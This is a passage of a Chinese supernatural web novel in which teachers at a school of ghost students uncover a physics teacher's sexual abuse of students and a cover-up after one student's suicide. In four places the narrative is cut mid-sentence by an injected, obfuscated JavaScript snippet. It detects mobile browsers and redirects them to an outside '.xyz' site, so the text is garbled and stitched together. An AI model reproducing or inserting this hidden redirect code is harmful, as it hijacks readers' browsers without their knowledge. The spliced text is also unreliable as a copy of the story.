如果不是来的那天陈龙主动找她提出换课，钱纹可能也会忘记这个存在感很低的男人。 还记得第一天见面的时候，陈龙穿着中规中矩的教师工作服，肚子和脸颊因为年纪的原因已经有些微微发福，窄框眼镜后是一双瑟缩的眼睛，完全就是一副普通中年老实男人的模样。 季毛毛问：“可曹云是他老婆唉，问他他会说吗？” “但既然我们怀疑曹云，那也就只能这样了。” 纪南亦话音刚落，教学楼外突然传来了一声闷响，原本还有些嘈杂的教学楼陷入了一瞬间的寂静。 三人都很清楚这个声音是什么，这是她们刚踏入这所学校当天就听到过的声音。 “又来吗……”季毛毛喉咙有些颤抖，“我现在拉窗帘还管用吗？” 可三人就这么沉默着对视了许久，发现并没有继续出现同样的闷声，反而是走廊中传来了逐渐逼近的跑步声—— 防火门被人猛地推开，男生清秀的脸庞边贴着因狂奔出汗微湿的发尾。 目光搜寻到纪南亦，莱星眼眸一亮，脸色却阴沉的可怕。 “老师，三班有人跳楼了。” 本来还在害怕的季毛毛难以置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617727|172218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信地看着眼前的男生，直接一个箭步冲上去拉住了他的领子。 “是谁？为什么会这样？发生什么事了？” 莱星撇了她一眼，心中暗暗打量几下，摊开手摇了摇头：“不知道，老师你们先过去看看吧。” 说完他便重新看向了纪南亦，仿佛是在等她的态度。 纪南亦明白现在事态紧急，没时间商量，只能咬牙嗯一声后便带着三人快步朝三班门口赶去。 没走几步，季毛毛的脸色就变得十分苍白，她能清楚地感觉到自己四肢迅速变得冰凉，视线开始模糊，就连脚步都很虚浮。 腿也越来越软，让她逐渐跟不上舍友的步伐，最后甚至连开口叫住她们的力气都散得无影无踪。 她已经要坚持不住了…… 就当季毛毛以为自己马上就会狠狠摔在地上来个脸朝地的时候，却发现自己竟扎进了一个柔软的怀抱。 女生的身躯很软，却稳稳地抱住了她。 季毛毛感觉到耳旁的胸腔微动，头顶传来了那个她一直觉得很可靠的声音：“毛毛，相信我，会没事的。” 这不是纪南亦第一次跟她说这个话，可不知怎的，每次她听到这句话后原本焦躁的心总能奇迹般地平静下来。 这次也一样。 另一边是钱纹担心的声音：“毛毛她怎么了？” 纪南亦轻叹一声，扶着季毛毛一步步朝着三班走去。 “毛毛她也教三班，现在有学生跳楼，她作为任课老师已经违背了教师守则。现在这样可能是情绪激动，气血上涌导致的。” 钱纹脸上早已没了平常两人斗嘴时的模样，不知所措的她连忙走到季毛毛的另一边将她的胳膊揽到了自己的肩上。 有了钱纹分摊一部分重量，四人的脚步也逐渐快了起来。 加上本就在同一个楼层，所以没走几步就到了三年门口。 纪南亦随便从教室里拉了个椅子，然后和钱纹一起把季毛毛扶到了上面。 “南亦，毛毛交给我，你先去看看情况吧。” 钱纹抱着季毛毛摇摇欲坠的身躯，刚刚走的路上已经让她冷静了不少，她知道现在的她们不能停，否则季毛毛的后果绝对比现在还严重。 纪南亦掩去眼中的担忧，重重地点了点头便把目光扫向了整个教室。 由于她们是在门口，所以从纪南亦的视角看过去，整个教室的景象都一览无余—— 刚刚发生了跳楼的事，现在班里几乎没人还在自己座位坐着。 所有人的目光都在那扇大开着的窗户上。 有惊恐，有惋惜，有不解，还有后怕，形态各异，却没有一个人脸上是轻松的。 一阵阵不规律的微风地窗户翻过，哪怕已经将近六月，却吹得每个人心头都更凉了几分。 但纪南亦的注意力从进来开始，就落在教室前面角落中的人影身上。 如果她没记错的话，这人就是在曹云班公室合照中的丈夫，也是她们刚刚在讨论的——陈龙。 12. 一模一样的行为 跟语数英老师不同，作为物理老师的陈龙负责三班和四班两个班级。 从眼前的情况不难看出，跳楼是发生在他上物理课的时候。 先是早读后曹云明目张胆地找七七，后有陈龙上物理课学生跳楼，若说其中的关联只有巧合，纪南亦是不信的。 她暗暗垂下眼睫，以此为遮蔽打量着这个来无影去无踪的男人。 陈龙的外表跟之前钱纹描述的一样，是个普通到放到人堆里都不会注意的存在。 此时的他有些颓然地坐在椅子上，隔着镜片的目光中情绪翻涌，似是不解，亦似是惋惜。像是被突如其来的事故吓到一样，他就一直这样呆滞地望着大开的窗户，放在腿上的双手无意识地来回揉搓着。 不知为何，纪南亦总觉得眼前这个男人情绪并不对劲，像是少了些什么一样。 想着，纪南亦走到了大家退避三舍的窗前，在众人不可思议的目光中探出头向下看去。 不出意料，下方柏油路上一个残破的身躯如枯叶般滩落在那，四溅的血液尚未凝结，原本白色的衬衫也被血污染得面目全非。 少女的眼睛并未合上，而是不甘地、直勾勾地盯着她一跃而下的窗户，似是要把这个地方牢牢记住。 而此时纪南亦走在这里闯入了她的视线，那双原本空洞涣散的目光中竟然划过了一丝微光。 正当纪南亦怀疑是不是因为自己距离太远看错的时候，少女的嘴角竟勾起了一个诡异的弧度—— “……” 如果还有其他人在这里，估计会被这惊悚的一幕吓到尖叫。 纪南亦却只是眉头微动，嘴角不自然地抽了抽，像是在看小朋友的恶作剧把戏一样—— 嫌弃又无奈。 一人一鬼僵持了不知道多久，终于认清了楼上这个面容柔和的女人根本不可能害怕后，少女泄气般地重新垂下了嘴角。 纪南亦从那双暗淡下来的目光中感受到了一丝委屈。 但她却在想另一个问题—— “鬼还能再死一次吗？” 从第一天她就发现了这所学校里面老师是普通人类，而学生都是鬼怪。 那现在学生跳楼自杀，算什么？ 算它们种族独特的极限运动？ 感受到身后原本嘈杂纷乱的声音戛然止住，纪南亦转身看去。 “接到消息，高三三班出现学生跳楼自杀事件，根据教师守则第二条，该班级所有任课老师都将被带往教务处调查，请不要抵抗，否则我们将会采取强制手段。” 关羽羽的身影出现在教室门口，跟最开始的略带生涩的模样不同，此时的她声音冷淡且残忍，麻木的目光即便是扫过互相扶持的钱纹和季毛毛身上时也未曾掀起任何波澜。 她的命令刚刚放出，身后十几个身穿教师制服的高大男人们就立刻兵分两路，一路前往办公室，而剩下的人则是向着教室里的季毛毛和陈龙靠近。 感受到手中的肩膀在不受控制地颤抖，钱纹一咬牙防备性地挡在了季毛毛身前，整张脸的五官都拧在了一起，朝着已经把她们围起来的人大声吼道。 “你们不要过来！” 隔着人群的空隙，她死死盯着依旧站在门口面无表情的关羽羽，企图把自己焦急的心绪传递给对方。 看着这跟她们刚来那天一模一样的场景，关羽羽并没有再次选择把头别到其他方向，而是看向了那个站在窗前一言未发的好友。 “我们会查明事情的真相，如果真的跟此事无关，教务处不会为难。” 见钱纹依旧不退，然而转身把季毛毛更紧地护在了怀里，关羽羽挑挑眉，“如有执意阻挠教务处执行的人，一并带走。” “南亦……”钱纹却仍不放弃地将期盼的视线投降纪南亦。 却看见纪南亦了然般点点头，冲关羽羽笑道：“我们明白了，相信教务处一定会让事情真相大白的。” “南亦你为什么……” 钱纹还想再说什么，可三四个围上来的人根本不由纷说就把季毛毛从她怀里抢了出来，吓得她连忙去抓那些人的胳膊。 但对方的动作太过强硬，高大的身形让钱纹怎么用力都无法扯动半分，反而还因为用力过猛自己摔了个屁股蹲。 从头到尾一脸冷漠的关羽羽脸上终于出现了一丝裂痕，略微抽动的嘴角显示出了她心里的无语。 有时候她真的会怀疑季毛毛真的不是钱家流落在外的孩子吗？这俩人的性格大相径庭，但脑子却如出一辙的不好用，就连朋友被抓时的反应都一模一样。 还好南亦能明白她的想法。 跟这边的苦情离别戏不同，另一边陈龙甚至都没说话，只是向围上来的人点点头示意自己知道了，便很熟络地被带走了。 关羽羽：怎么这么一幕熟悉的可怕…… 等到一群人走后，纪南亦带着魂不守舍的钱纹往楼下走，准备去看看女生的“尸体”。 “你去过教务处，你应该知道，那里不会伤害老师。” 钱纹摇摇头，因为担心早已没了往日神采奕奕的模样：“可我们那只是小问题，现在毛毛是违反了教师守则，万一……” 万一就被杀了呢…… 后面的话她没喉中一梗，光是想到那种可能，她就快要控制不住自己的情绪。 “不会的。”温和坚定的声音从身旁传来，“规则里写了，违规两次会被带到校长室，那换言之，第一次违反的话不会有生命危险的。” “而且刚刚羽羽也告诉我们了，只要查明了真相，毛毛不会有事的。” 从关羽羽来到教室开始，纪南亦就明白这次的惩罚绝对不是死局，否则别说钱纹了，关羽羽也绝对不会这么冷静。 听到分析后，为了让自己冷静的钱纹猛地深吸几口气，开口的声音却还是有些干涩：“那我们现在能做的，就是帮教务处调查原因吗？” “嗯，加快一点调查进度，让毛毛早点出来吧。” 待到两人走到楼下时，却发现少女的身旁早已站定了一个修长的身影。 像是听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617728|172218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她们的声音，男人转身望来。 初晨的阳光柔和而温暖，洒在他的身上仿佛是给他镀了一层光晕，原本恐怖的画面都被这柔光驱散了不少。 正当钱纹还在感叹男人的样貌时，就听见纪南亦疑惑地开口：“校长，您为什么在这里？” 这是校长？？钱纹宁愿相信这是校长的小情人！ 她怎么也想不到眼前这个长的像是整容医院标准案例的男人竟然是连教务处都害怕的校长。 纪南亦的语气中满是戒备，但万墨却像是没发现一样，颇为好脾气地回答道：“我来接她。” “接她？” “您是她的家属还是什么关系，亲自过来做这种事。” 万墨的眼底划过一丝怅然，仅仅是一瞬间，就恢复了正常，快到连纪南亦都没有注意到。 他摇了摇头：“都不是，但是我知道她想去哪里。” “哪里？” “八楼。” 提到这个地方，纪南亦的脑海里立马浮现了那条骇人的走廊以及每扇门后传来的哭泣嚎叫。 难道说那些房间的人跟现在地上这个少女一样，都是自杀的？ 像是知道她的想法一样，万墨继续道：“她和他们不一样，但她肯定想见一见他们。” 纪南亦：…… 这是纪南亦第一次发现，原来谜语人这么烦。 可如果真的让万墨就这么把女生的尸体带走，那这条最重要的线索就断了。 正当纪南亦还在思考是让万墨等一下还是直接硬抢的时候，万墨出声了：“你如果想知道原因，可以来八楼。” “不过我不能保证，你会不会遇到危险哦。” 听到这话，纪南亦眯了眯眼，嘴角噙着笑：“我知道了，多谢提醒。” 万墨说完这话便转身蹲下抱起了少女的尸体，路过两人时又说了一句：“时间不等人，如果要查的话，最好尽快。” 直到男人的身影消失在了拐角，钱纹才忧心忡忡地问道：“南亦，那我们要去八楼吗？我还记得你上次拍的照片，一看就很可怕。” 纪南亦没有回答，而是打开手机看了看时间，“等下你还有课，我知道你现在很担心，但我们还是要按照规则好好上课。” “你是要自己去吗？”钱纹的脸色有些苍白，像是终于下定了决心一样，握紧了拳头，“刚刚校长也说了会有危险，你一个人我不放心，你等我上完课我们再一起去吧。” 纪南亦当然明白钱纹心里有多害怕。 可是无论是前面保护季毛毛，还是现在准备要去八楼，哪怕已经怕到身体不自觉的发抖，钱纹却从来没有选择过放弃。 拍了拍钱纹的头，纪南亦轻声道：“好，你先去上课吧，我等你。” “那你先去办公室等我就行，我上完课马上就来！” 说完，钱纹便强撑起因压力大摇摇欲坠的身体，动身跑回了教学楼。 像是不放心一样，在进入之前又转过身喊了一句：“南亦一定要等我啊！” 13. 鬼也会死 再次踏入前往八楼的专属电梯，纪南亦的内心却意外地平静。 空气中残余着些许沉香，应该是不久前万墨带着女生离开时留下的。 伴随着脚下一阵凉风吹过，达到八楼的电梯缓缓打开了门…… 相比于上次似是警告似是恐吓的尖叫不同，这次每扇门的声音尽是怨恨与杀意。 纪南亦刚踏进一步，伴随着一阵寒意的黏腻感就围了上来，双腿像是陷入了沼泽并被人死死拉住，即使用尽力气也难进一步。 而那些门后的东西仿佛也感觉到了她的存在，原本只是在空间中四处乱串的极端情绪如狂风暴雨般向着她的脸扑来。 纪南亦：上来就杀？？ 只是几个呼吸之间，那些满是怨毒的飓风就已经到了纪南亦的眼前，禁锢的双腿让她连闪避都无法进行，眼看着这些攻击就要实打实落到身上—— “哎哟，你们先停一下。” 一道娇媚的声音从左手边第一个房间传来，随着那扇暗红色翻着血腥味的铁门开启，一个熟悉的身影出现在了纪南亦的眼前。 “煜姝……？” 眼前女生脸上的明媚娇艳如当初一样，但周身森然的气息已经如实质化一般化作黑雾环绕在身旁。 像是十分满意纪南亦眼中的诧异，煜姝笑着挥了挥手。 随着一阵与周围格格不入的清风滑过，原本施加在身上的桎梏瞬间消失，原本还在努力挣脱的纪南亦猛地向前踉跄了两步，就被煜姝稳稳地扶住了。 “难得见你这么狼狈，看得我心情好了不少。” 煜姝欣赏般地帮纪南亦把散在脸侧的碎发挽到耳后，语气中尽是对自己的欣赏：“你竟然敢这个时候来八楼，如果不是我，早就躺在地上了。现在这个世道啊，像我这种人美心善、以德报怨的美女可不多了。” 不知道是不是因为在她熟悉的地方的缘故，此时的煜姝少了初见面时的试探，多了些略带孩童般地开朗。 无视掉眼前人对自己的调侃，纪南亦往还在蠢蠢欲动的走廊深处看去。 “刚刚被校长带来的女生，是不是在这里？” 话音刚落，像是触及了什么令人无法忍受的关键词一般，原本被煜姝喊退黑暗气息再次躁动着逼近了过来。 就连煜姝漂亮的细长眉毛都皱了起来：“谁让你来的？” 纪南亦指了指走廊尽头那扇古朴厚重的门：“当然是校长啊，不然我怎么会知道是他把那个女生带走的。” 虽然不能确定八楼这些东西和校长的关系，但从万墨亲自出面把跳楼女生接到这里可以看出，这些东西和他应该不是敌对关系。 “校长？”听到这个答案，煜姝狐疑地上下打量着纪南亦。 纪南亦倒是对这种目光不甚在意，笑问道：“所以我可以见见她吗？” “不行。”煜姝语气十分坚决，“别说你这种人类了，现在我们都见不了。” “更何况，按照她现在的状态，恐怕也没法回答你想知道的问题。” 即使在昏暗的楼道中，纪南亦还是看到了煜姝提起时眼中划过的哀伤，顺着煜姝的目光看去，纪南亦再次看到了那扇走廊尽头的大门。 “那有些问题我可以问你吗？” 还在想怎么把纪南亦打发走的煜姝转头就对上了那双在黑暗中也如明月般的目光，带着微微笑意的伴月型的桃花眼让人不由自主觉得真诚，根本舍不得拒绝她所提出的请求。 但—— 煜姝可不是第一次见她，她很清楚眼前这个女人可不是什么心思单纯的主，她才不会上当！ 更何况，谁还不是个靠外表迷惑人的主，跟她这个百年老绿茶比，纪南亦道行还是浅了点。 煜姝往后退了几步，拉开了两人的距离，“刚刚救你已经是我大发慈悲，我可没有义务满足你其他需求。” 纪南亦依旧不急不慢：“那如果我说，我可以帮到你们呢？” “帮我们？”像是听到了什么不可思议的事情一样，煜姝冷笑一声，“你一个老师说你能帮我们？” “这世上谁都有可能帮我们，唯独你们老师不会！今天救你只是我心情好，你别以为我真的不会伤害你！” 面对煜姝斥责般的低吼，纪南亦只是不着痕迹地向她走了一步。 “我知道你不会的。” “不过为了不让你为难，我还是直接去问校长吧，是他告诉我这里能得到答案的，现在我什么都没拿到，总得让他负责售后对吧。” 就在纪南亦说完准备动身前往校长室的时候，手腕被一双柔软却又冰凉的手拉住了。 回头一看，是脸色有些微红的煜姝。 “你跟校长的关系很好吗？” 前面纪南亦提到校长时，煜姝并不确定校长让她来八楼的目的是为了让她“送死”还是真的想给她什么线索，通过现在还在后面虎视眈眈的阴风不难看出，救下纪南亦只是她的个人行为。 但就在刚刚纪南亦靠近的时候，她看到了被纪南亦放在衬衫口袋里的申请表，而那漏出来的一角正是校长的亲笔签名。 看到煜姝脸上神情的变化，纪南亦不着痕迹地勾了勾嘴角，“合作关系，他让我帮他办点事。” 纪南亦的话说的巧妙，既暗示了自己的立场和跟万墨的特殊关系，又不至于撒谎。 哪怕万墨本人听到，她也能理直气壮的说：“你当初都说了你也有自己的目的，还说希望我不会让你失望，这怎么不算合作呢？” “好吧。”明白了情况的煜姝缓和了一下态度，“我提前说好，我只挑我想说的回答，而且我的耐心是有限的，你最好掂量掂量再问。” 让煜姝没想到的是，认真思考了半天后纪南亦问出的第一个问题竟然是—— “你不请我进去坐坐吗？” 煜姝不可置信地揉了揉耳朵，“什、什么？” 直到纪南亦又重复了一遍后，煜姝原本震惊的目光变得像是看见了怪物一样。 这人有病吧？谁家好人想往鬼怪的闺房里钻啊？ 纪南亦歪了歪头， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617729|172218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情有些无辜：“不方便吗？那我们在这里说也行，只是我觉得大庭广众之下谈私密的事，有点害羞……” “……” 听到这话，煜姝头上的青筋都没忍住抽动了两下。 她甚至能听到到其他房间的那些鬼的窃窃私语—— “怪不得煜姝这么保护她，原来她们有一腿啊……” “可这个人类真的靠谱吗？她这样为情乱智坏了我们的计划怎么办？” “这人可是校长都认可的人，而且上次她来八楼的情况你们也看见过，应该没多大问题吧？” “那也只是之前，谁不知道人心易变，等到被骗了就后悔去吧。” 煜姝真的很想问问这群家伙，他们蛐蛐鬼都不避着点吗？ 还有这个纪南亦，她是克自己吗？为什么每次遇到她自己都有吃不完的亏？现在看到这张人畜无害的脸就气不打一出来。 “你闭嘴，跟我来。” 煜姝几乎是咬着牙拉过纪南亦，将她连推带拽地弄进了自己的房间，生怕晚一秒纪南亦还能再说出什么“金句”。 进入房间后纪南亦发现，这里面的温度竟然比外头阴森的走廊还要低上几度，她身上只穿着薄薄的短袖衬衫，胳膊上已经被冻得起了一层鸡皮疙瘩。 “喏，穿上吧，别等到感冒了还要赖上我。” 一件红色外套被丢到怀中，纪南亦干脆利落地穿上后，对着煜姝灿然一笑：“谢谢。” “哼。” 目光略过耳根有些发红的煜姝，纪南亦终于看清了房间的布局—— 整个房间很大，但让人奇怪的是，别说桌子柜子了，就连一张床都没有。 唯一的摆设，就地面的正中央用金色染料画成的圆阵和在圆阵上平躺的女人身体。 即便是隔着一段距离，纪南亦还是认出了正安详躺着的女人的脸…… 竟然跟煜姝一模一样。 “这是……” “这是我的尸体，跟那个女孩一样。” 煜姝淡淡地笑了笑，语调平缓，仿佛只是在说一件跟自己无关紧要的事情，“我们都已经死了。” 纪南亦：“什么意思？你们不是已经是……” “对，我们确实是鬼。”煜姝走到自己的尸体旁，伸出手摸了摸那张跟她长得一样的脸，“鬼也是可以死的。” “跟人死了变成鬼不同，鬼死亡一般是被更高级的力量杀害，或者自愿放弃生命，而代价是不入万物轮回，永世不得超生。” 毫无情绪起伏的一句话宛如一击重锤砸在了纪南亦的心上，向来能言善辩的她第一次感觉到了话到喉头说不出的苦涩。 直到走到了煜姝的尸体旁，她才看清了看似平淡的声调下煜姝眼中已经满是凄凉。 煜姝的手从尸体一路滑到了地上的金色阵法，轻声说道：“原本我应该直接消散的，是万校长给我带了回来，然后用这种阵法硬是给我留了一世的时间。” “等到这一世结束后，我就会永远的消失在世界上。” 14.你相信我吗 “所以那个女生也……” 煜姝点了点头，眼眸中满是心疼：“那个傻孩子跟当初的我一样，以为可以用自己的死让教务处彻查此事。” “当时我以为他用了什么法子蒙混了过去，才导致最后没有查到他。直到跟你进禁闭室那天我才知道，原来教务处跟老师就是一伙的！” 说着，煜姝的目光中闪过一道暗光，杀意尽显：“为什么坏人可以狼狈为奸，而我们哪怕付出转生的代价，连一个真相都没法得到。” 纪南亦问道：“你说的他，是曹云，还是……陈龙？” “曹云？”像是听到了什么可笑的东西一样，煜姝冷哼一声，“她只不过是陈龙放在表面吸引注意的棋子罢了，算得上什么。” 对于这个答案，其实纪南亦早就有了猜测，所以在听到时并没有觉得十分意外。 毕竟无论是第一次把七七带走后明晃晃的威胁，还是后面大摇大摆过来教室直接抢人，曹云所有的行为都太过于明目张胆，摆明了一副恨不得告诉全世界自己很“不对劲”的模样。 就连季毛毛都能看出这里面的不对劲。 可即便进行过无数思考，在真的要问出来的时候，纪南亦还是顿了许久。 “所以陈龙对你们做了什么……” “你应该早就猜到了吧？无非就是老师利用身份之便猥亵学生，如果我们不同意，他就联合曹云用各种说辞让学校判定我们违纪，逼我们退学，这样我们就不能去高考了。” 纪南亦皱了皱眉，说：“所以这八楼的人……” “对，都是他害的！”煜姝满眼猩红，因痛恨而扭曲的表情让她仿佛地狱里爬上来的恶鬼，“但好在她们都没死，只有我……现在还有余敏。” 余敏就是刚刚三班跳楼的女生。 “她真的好傻，就像当初的我一样……官官相护狼狈为奸，就算我们死了又如何，他们还是不会受到任何惩罚。” 看见余敏被万墨带回来，似曾相识的一幕让煜姝原本尘封多年的伤疤再次被划开。八楼住着很多在她之前或之后遭受迫害的女生，可只要还没死，她们就还有未来，总能等到真相大白的一天，那时她们还可以站在阳光底下去尘封这段过往。 可余敏跟她一样，都死了。 她不知道在她所剩不多的时间里是否还能看到恶人受到应有的惩罚，她不想再看见今天这一幕的发生，不想再有任何人为了这种人害得自己永世不得轮回。 “你相信我吗？” 一道柔和的声音忽的从耳边传来，如春风般略过煜姝因激动而快要丧失理智的大脑，柔软的沁凉让她眸中一亮。 煜姝知道，纪南亦经常跟她那群舍友说这种话。 之前她还怀疑过，这种听起来就很不靠谱的空话，为什么那群人一听就能冷静下来。 现在她懂了，不是这句话本身作用有多大，而是纪南亦这个女人有让人信赖的魔力！ 还不等煜姝的大脑做出反应，身体就已经下意识点了点头并脱口而出：“我信。” 纪南亦握住她的肩膀，想将自己的力量传递给这个脆弱的女生。 “不会等太久，陈龙一定会付出代价，我也不会再让任何一个学生受到伤害。” 尽管纪南亦并没有说什么她会去干什么，但煜姝就是没由得相信她，就像刚刚她帮纪南亦一样没理由。 煜姝缓缓地呼吸了几口气，再张嘴时声音依旧沙哑：“那需要我去做什么吗？” “确实有件事需要你帮忙……”纪南亦从口袋中拿出早已准备好的一张纸递给煜姝…… “南亦？南亦你在这里吗？” “嘶……这里竟然比照片上还要吓人……南亦真的在这里吗……” “南亦你快出来，毛毛出事了——” “啊——！鬼啊——！你们别过来啊——！” 听见钱纹颤抖的声音从门外传来，正在计划行动策略的纪南亦和煜姝连忙起身冲了出去。 刚到走廊，就看见角落蹲着缩成一团的钱纹胡乱挥舞着双手，企图驱散围在她身旁的那些黑雾。 下课铃响起的瞬间，急不可耐的钱纹就抱着自己早就收拾好的课本冲出了教室，徒留一群难得没被拖堂的学生在原地面面相窥。 可当她跑到办公室的时候，却在发现本来约定好等在那里的纪南亦早就不见了踪迹时，心头顿时沉了下去。 钱纹不是不知道纪南亦的脾气。 纪南亦明白自己害怕，也知道八楼的危险，所以为了保护她们，纪南亦总是会选择孤身犯险。 但就像纪南亦替她们着想的时候，自己有何尝不想帮她分担一些呢？ 所以她才在分别前一次又一次地告诉对方，自己要跟她一起去。 结果自己还是没控制住因恐惧和激动颤抖的双腿，而向来细心的纪南亦自然也观察到了她的害怕。 所以，纪南亦还是独自一个人去了八楼。 对于眼前的情况，钱纹并没有犹豫太久，放下课本后便迅速前往了那座通往八楼的专属电梯。 现在季毛毛被抓走，关羽羽在教务处艰难求生，纪南亦去八楼面对危险，她就算再害怕，也不可能躲着去眼睁睁看舍友们拼命。 多一个人总归是多一分力量，何况她又不是季毛毛，就算帮不上忙也不至于拖后腿。 可电梯缓缓停靠在八楼打开门后，钱纹觉得自己还是高估了自己的胆量。 这确定是八楼而不是地下十八层地狱吗？ 黏腻阴暗的地面，空气中泛着浑浊发霉的气味，断断续续又刺痛耳朵的哀嚎…… 最重要的是，她一进来那些游荡在黑雾就围了上来，像是野兽终于发现了美食一般要把她生吞入腹。 对不起对不起对不起，如果还有下辈子，她一定绕道走。 如果让她形容看到纪南亦那瞬间的感觉，那一定就是见到了天神！ 即使在这种伸手不见五指的黑暗之地，她都能看到纪南亦身上的金光。 “南亦！你没事吧，这里怎么这么吓人。” 不知道哪里来的力气，原本腿软到只能蜷缩蹲在地上的钱纹猛地起身冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621330|172218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了纪南亦身边，死死抱住她的时候心里的恐惧才驱散了几分。 见钱纹被吓到脸色苍白还在关心自己的安危，纪南亦也是心头一暖。 她轻柔地回抱住钱纹，道：“辛苦你了。” “对了。”缓过来的钱纹忽的抬起头，一脸焦急，“你看到羽羽的短信了吗？教务处那边竟然说跳楼的事情是毛毛主导的，其他老师都被放出来了，就只有毛毛她还在……” “这么快？” 其实纪南亦早在万墨提醒她们时间不等人的时候就想过教务处肯定会有什么动作，但距离事情发生到现在也不过两节课的时间。 到底是有人已经只手遮天到随意妄为，还是针对她们迫不及待的审判？ “这群混蛋——！”在一旁听到全程的煜姝银牙一咬，几乎是从喉咙中逼出来的声音，“陈龙是救过他们的命吗？包庇不够，还要栽赃污蔑！难道就没人能管的了他们吗？” “当然有。” 纪南亦再次看向了走廊深处的那扇门，“我应该知道他的目的是什么了。” “可是教务处不是帮老师的吗？毛毛也是老师啊，为什么要这么对她？” 来不及纠结为什么煜姝为什么会出现在这里，钱纹的心思都在被污蔑关押的季毛毛身上。 季毛毛被带走的时候身体状况已经十分糟糕了，她又那么胆小，现在又被扣了一个莫须有的帽子，肯定慌张极了。 纪南亦深深地看了一眼钱纹，眼睛里早就没了往日的和煦：“那就只能说明，陈龙和教务处应该存在别的关系，否则同为老师，教务处那边没理由厚此薄彼。” …… 终于被放出来的陈龙扭了扭自己略微僵硬的肩膀。 路过三班是看见那扇依旧开着的窗户，他不懈地冷嗤一声，他不明白这些学生到底在坚守什么？ 他都说了多少遍，只要乖乖听话，他有的是办法让她们考上好大学，反之就别怪他不客气。 可那个余敏竟然刚跟两年前的煜姝一样，想用自己的死把这件事闹大，以为这样就可以制裁他。 搞笑，成年人的世界她们能懂什么。 这不才不到两个小时他就放出来了，还有替罪羊帮自己顶罪，根本不会有人怀疑到他身上。 想到这里，陈龙顿然心情颇好，嘴里都兴奋地哼起了小曲。 看来上次给李主任送的人挺合口味，虽然他也挺喜欢那个学生，但为了自己的安全，忍痛割爱也算不上什么。 想着想着，陈龙就已经走到了办公室门口。 如果他没记错，现在办公室里应该只有那个叫纪南亦四班班主任。 那该死的女人长得漂亮，性格也十分对他胃口，却偏偏坏了他好几次好事。 如果不是她百般阻拦，四班那个叫七七的学生估计早就是他的囊中之物了。 不过现在那个平日跟她要好的季毛毛已经帮他顶了罪，恐怕纪南亦现在已经快急死了吧。 他都有些迫不及待去看她哭的梨花带雨的表情了，光是想想就让他心里畅快无比。